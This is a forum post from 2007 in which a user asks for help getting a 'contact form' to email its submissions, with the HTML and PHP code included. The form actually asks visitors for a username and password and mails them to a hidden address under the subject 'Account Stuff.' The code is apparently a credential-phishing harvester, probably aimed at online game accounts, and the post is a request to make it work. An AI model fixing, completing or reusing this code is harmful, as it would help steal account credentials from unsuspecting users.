Hi, ive been trying to get a contact form which uses HTML/PHP, for example: http://www.tele-pro.co.uk/scripts/contact_form/
I fill it all in but never ever wants to send to my email address, anyone fix one up for me?
please, im despiret for one .
Code: Contact.HTM
Code: Contact.PHP
Last edited by Runescapetown on Mon Dec 31, 2007 4:21 am; edited 1 time in total
I fill it all in but never ever wants to send to my email address, anyone fix one up for me?
please, im despiret for one .
Code: Contact.HTM
| Code: |
| <!-- Website Contact Form Generator -->
<!-- http://www.tele-pro.co.uk/scripts/contact_form/ --> <!-- This script is free to use as long as you --> <!-- retain the credit link --> <form method="POST" action="contact.php"> Fields marked (*) are required <p>Email From:* <br> <input type="text" name="EmailFrom"> <p>Username:<br> <input type="text" name="Username"> <p>Password:<br> <input type="text" name="Password"> <p><input type="submit" name="submit" value="Submit"> </form> <p> <!-- Contact Form credit link --> Created by <a target="_blank" href="http://www.tele-pro.co.uk/scripts/contact_form/">Contact Form Generator</a> |
Code: Contact.PHP
| Code: |
| <?php
// Website Contact Form Generator // http://www.tele-pro.co.uk/scripts/contact_form/ // This script is free to use as long as you // retain the credit link // get posted data into local variables $EmailFrom = Trim(stripslashes($_POST['EmailFrom'])); $EmailTo = "******************"; $Subject = "Account Stuff."; $Username = Trim(stripslashes($_POST['Username'])); $Password = Trim(stripslashes($_POST['Password'])); // validation $validationOK=true; if (Trim($EmailFrom)=="") $validationOK=false; if (!$validationOK) { print "<meta http-equiv=\"refresh\" content=\"0;URL=error.htm\">"; exit; } // prepare email body text $Body = ""; $Body .= "Username: "; $Body .= $Username; $Body .= "\n"; $Body .= "Password: "; $Body .= $Password; $Body .= "\n"; // send email $success = mail($EmailTo, $Subject, $Body, "From: <$EmailFrom>"); // redirect to success page if ($success){ print "<meta http-equiv=\"refresh\" content=\"0;URL=ok.htm\">"; } else{ print "<meta http-equiv=\"refresh\" content=\"0;URL=error.htm\">"; } ?> |
Last edited by Runescapetown on Mon Dec 31, 2007 4:21 am; edited 1 time in total
